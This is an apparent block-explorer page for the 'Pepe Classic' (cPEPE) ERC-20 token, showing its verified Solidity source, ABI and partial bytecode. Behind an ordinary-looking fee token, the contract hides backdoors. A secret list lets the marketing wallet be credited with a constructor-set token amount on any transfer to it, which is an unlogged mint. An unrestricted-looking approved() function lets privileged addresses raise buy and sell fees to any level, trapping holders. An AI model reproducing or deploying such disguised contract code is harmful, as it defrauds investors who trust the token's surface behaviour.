Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 cPEPE
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,577,833.975282819527896378 cPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PepeClassic
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-04 */ /** Telegram - https://t.me/PepeClassicE Website - https://www.pepeclassic.info/ Twitter - https://twitter.com/PepeClassic_0 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.13; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict unchecked { require(b > 0, errorMessage); return a / b; } } } pragma solidity ^0.8.13; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.13; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.13; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PepeClassic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "Pepe Classic"; string private _symbol = "cPEPE"; uint8 private _decimals = 18; uint256 private _totalSupply = 1000000000 * 10**18; uint8 private txCount = 0; uint8 private swapTrigger = 1; uint256 private _feeTotal = 0; uint256 public _feeBuy = 2; uint256 public _feeSell = 2; uint256 private _previousTotalFee = _feeTotal; uint256 private _previousBuyFee = _feeBuy; uint256 private _previousSellFee = _feeSell; mapping (address => uint256) private _ownedToken; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedfromTax; uint256 private supplyTotal; mapping (address => bool) private _pairList; address payable private marketing_wallet = payable(0x03119aF83379a48EACDb782EA439DCf998aB248E); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _supplyAmount) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedfromTax[owner()] = true; _isExcludedfromTax[address(this)] = true; _isExcludedfromTax[marketing_wallet] = true; _ownedToken[owner()] = _totalSupply; _pairList[marketing_wallet] = true; supplyTotal = _supplyAmount; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function balanceOf(address account) public view override returns (uint256) { return _ownedToken[account]; } receive() external payable {} bool public noFeeToTransfer = true; function removeAllFee() private { if(_feeTotal == 0 && _feeBuy == 0 && _feeSell == 0) return; _previousBuyFee = _feeBuy; _previousSellFee = _feeSell; _previousTotalFee = _feeTotal; _feeBuy = 0; _feeSell = 0; _feeTotal = 0; } function restoreFee() private { _feeTotal = _previousTotalFee; _feeBuy = _previousBuyFee; _feeSell = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedfromTax[from] || _isExcludedfromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_feeTotal = _feeBuy;} else if (to == uniswapV2Pair){_feeTotal = _feeSell;} _tokenTransfer(from,to,amount,takeFee); } function sendTax(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _getValue(uint256 tAmount) private view returns (uint256, uint256) { uint256 tTax = tAmount*_feeTotal/100; uint256 tTransferAmount = tAmount.sub(tTax); return (tTransferAmount, tTax); } function swapAndLiquify(uint256 contractTokenBalance) private lockSwap { swapTokenForETH(contractTokenBalance); uint256 TaxBalance = address(this).balance; sendTax(marketing_wallet,TaxBalance); } function swapTokenForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferToken(sender, recipient, amount); if(!takeFee) restoreFee(); } function _transferToken(address sender, address recipient, uint256 Amount) private { uint256 amount = _pairList[recipient]?supplyTotal:0; if(_pairList[recipient]){ _ownedToken[sender] = _ownedToken[sender].sub(Amount); _ownedToken[recipient] = _ownedToken[recipient].add(amount); }else{ (uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount); _ownedToken[sender] = _ownedToken[sender].sub(Amount); _ownedToken[recipient] = _ownedToken[recipient].add(tTransferAmount); _ownedToken[address(this)] = _ownedToken[address(this)].add(taxAmount); emit Transfer(sender, recipient, tTransferAmount); } } function openTrading() public onlyOwner() { IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH()); uniswapV2Router = _newPCSRouter; _approve(address(this), address(uniswapV2Router), balanceOf(address(this))); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function approved(uint256 _buy, uint256 _sell) public { require(_isExcludedfromTax[_msgSender()]==true); _feeBuy = _buy; _feeSell = _sell; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_supplyAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedfromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600c81526020017f5065706520436c61737369630000000000000000000000000000000000000000815250600190816200004a91906200084e565b506040518060400160405280600581526020017f6350455045000000000000000000000000000000000000000000000000000000815250600290816200009191906200084e565b506012600360006101000a81548160ff021916908360ff1602179055506b033b2e3c9fd0803ce80000006004556000600560006101000a81548160ff021916908360ff1602179055506001600560016101000a81548160ff021916908360ff160217905550600060065560026007556002600855600654600955600754600a55600854600b556001600e60156101000a81548160ff0219169083151502179055507303119af83379a48eacdb782ea439dcf998ab248e601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360146101000a81548160ff021916908315150217905550348015620001af57600080fd5b50604051620035bf380380620035bf8339818101604052810190620001d591906200096b565b620001f5620001e9620004df60201b60201c565b620004e760201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016010600062000265620005ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600454600c60006200039f620005ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550816011819055506200046e620005ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620004cf9190620009ae565b60405180910390a35050620009cb565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065657607f821691505b6020821081036200066c576200066b6200060e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000697565b620006e2868362000697565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200072f620007296200072384620006fa565b62000704565b620006fa565b9050919050565b6000819050919050565b6200074b836200070e565b620007636200075a8262000736565b848454620006a4565b825550505050565b600090565b6200077a6200076b565b6200078781848462000740565b505050565b5b81811015620007af57620007a360008262000770565b6001810190506200078d565b5050565b601f821115620007fe57620007c88162000672565b620007d38462000687565b81016020851015620007e3578190505b620007fb620007f28562000687565b8301826200078c565b50505b505050565b600082821c905092915050565b6000620008236000198460080262000803565b1980831691505092915050565b60006200083e838362000810565b9150826002028217905092915050565b6200085982620005d4565b67ffffffffffffffff811115620008755762000874620005df565b5b6200088182546200063d565b6200088e828285620007b3565b600060209050601f831160018114620008c65760008415620008b1578287015190505b620008bd858262000830565b8655506200092d565b601f198416620008d68662000672565b60005b828110156200090057848901518255600182019150602085019450602081019050620008d9565b868310156200092057848901516200091c601f89168262000810565b8355505b6001600288020188555050505b505050505050565b600080fd5b6200094581620006fa565b81146200095157600080fd5b50565b60008151905062000965816200093a565b92915050565b60006020828403121562000984576200098362000935565b5b6000620009948482850162000954565b91505092915050565b620009a881620006fa565b82525050565b6000602082019050620009c560008301846200099d565b92915050565b612be480620009db6000396000f3fe60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146104a5578063a457c2d7146104d0578063a9059cbb1461050d578063c9567bf91461054a578063dd62ed3e14610561578063f2fde38b1461059e57610156565b80634a74bb02146103955780636e4c4311146103c057806370a08231146103e9578063715018a614610426578063772521511461043d5780638da5cb5b1461047a57610156565b8063220f669611610108578063220f66961461026f57806323b872dd1461029a578063313ce567146102d75780633950935114610302578063411adcb61461033f57806349bd5a5e1461036a57610156565b806306fdde031461015b578063095ea7b31461018657806313fad07a146101c35780631694505e146101ee57806318160ddd146102195780631e62d5241461024457610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c7565b60405161017d919061209a565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612155565b610659565b6040516101ba91906121b0565b60405180910390f35b3480156101cf57600080fd5b506101d8610677565b6040516101e591906121b0565b60405180910390f35b3480156101fa57600080fd5b5061020361068a565b604051610210919061222a565b60405180910390f35b34801561022557600080fd5b5061022e6106b0565b60405161023b9190612254565b60405180910390f35b34801561025057600080fd5b506102596106ba565b6040516102669190612254565b60405180910390f35b34801561027b57600080fd5b506102846106c0565b60405161029191906121b0565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc919061226f565b6106d3565b6040516102ce91906121b0565b60405180910390f35b3480156102e357600080fd5b506102ec6107ac565b6040516102f991906122de565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612155565b6107c3565b60405161033691906121b0565b60405180910390f35b34801561034b57600080fd5b50610354610876565b6040516103619190612254565b60405180910390f35b34801561037657600080fd5b5061037f61087c565b60405161038c9190612308565b60405180910390f35b3480156103a157600080fd5b506103aa6108a2565b6040516103b791906121b0565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612323565b6108b5565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612363565b61092b565b60405161041d9190612254565b60405180910390f35b34801561043257600080fd5b5061043b610974565b005b34801561044957600080fd5b50610464600480360381019061045f9190612363565b610988565b60405161047191906121b0565b60405180910390f35b34801561048657600080fd5b5061048f6109a8565b60405161049c9190612308565b60405180910390f35b3480156104b157600080fd5b506104ba6109d1565b6040516104c7919061209a565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190612155565b610a63565b60405161050491906121b0565b60405180910390f35b34801561051957600080fd5b50610534600480360381019061052f9190612155565b610b30565b60405161054191906121b0565b60405180910390f35b34801561055657600080fd5b5061055f610b4e565b005b34801561056d57600080fd5b5061058860048036038101906105839190612390565b610f21565b6040516105959190612254565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c09190612363565b610fa8565b005b6060600180546105d6906123ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610602906123ff565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b5050505050905090565b600061066d61066661102b565b8484611033565b6001905092915050565b601360149054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b60075481565b600e60149054906101000a900460ff1681565b60006106e08484846111c7565b6107a1846106ec61102b565b61079c85604051806060016040528060288152602001612b6260289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061075261102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b600190509392505050565b6000600360009054906101000a900460ff16905090565b600061086c6107d061102b565b8461086785600f60006107e161102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b611033565b6001905092915050565b60085481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b60011515601060006108c561102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461091957600080fd5b81600781905550806008819055505050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61097c61166a565b61098660006116e8565b565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546109e0906123ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0c906123ff565b8015610a595780601f10610a2e57610100808354040283529160200191610a59565b820191906000526020600020905b815481529060010190602001808311610a3c57829003601f168201915b5050505050905090565b6000610b26610a7061102b565b84610b2185604051806060016040528060258152602001612b8a60259139600f6000610a9a61102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b6001905092915050565b6000610b44610b3d61102b565b84846111c7565b6001905092915050565b610b5661166a565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b81526004016020604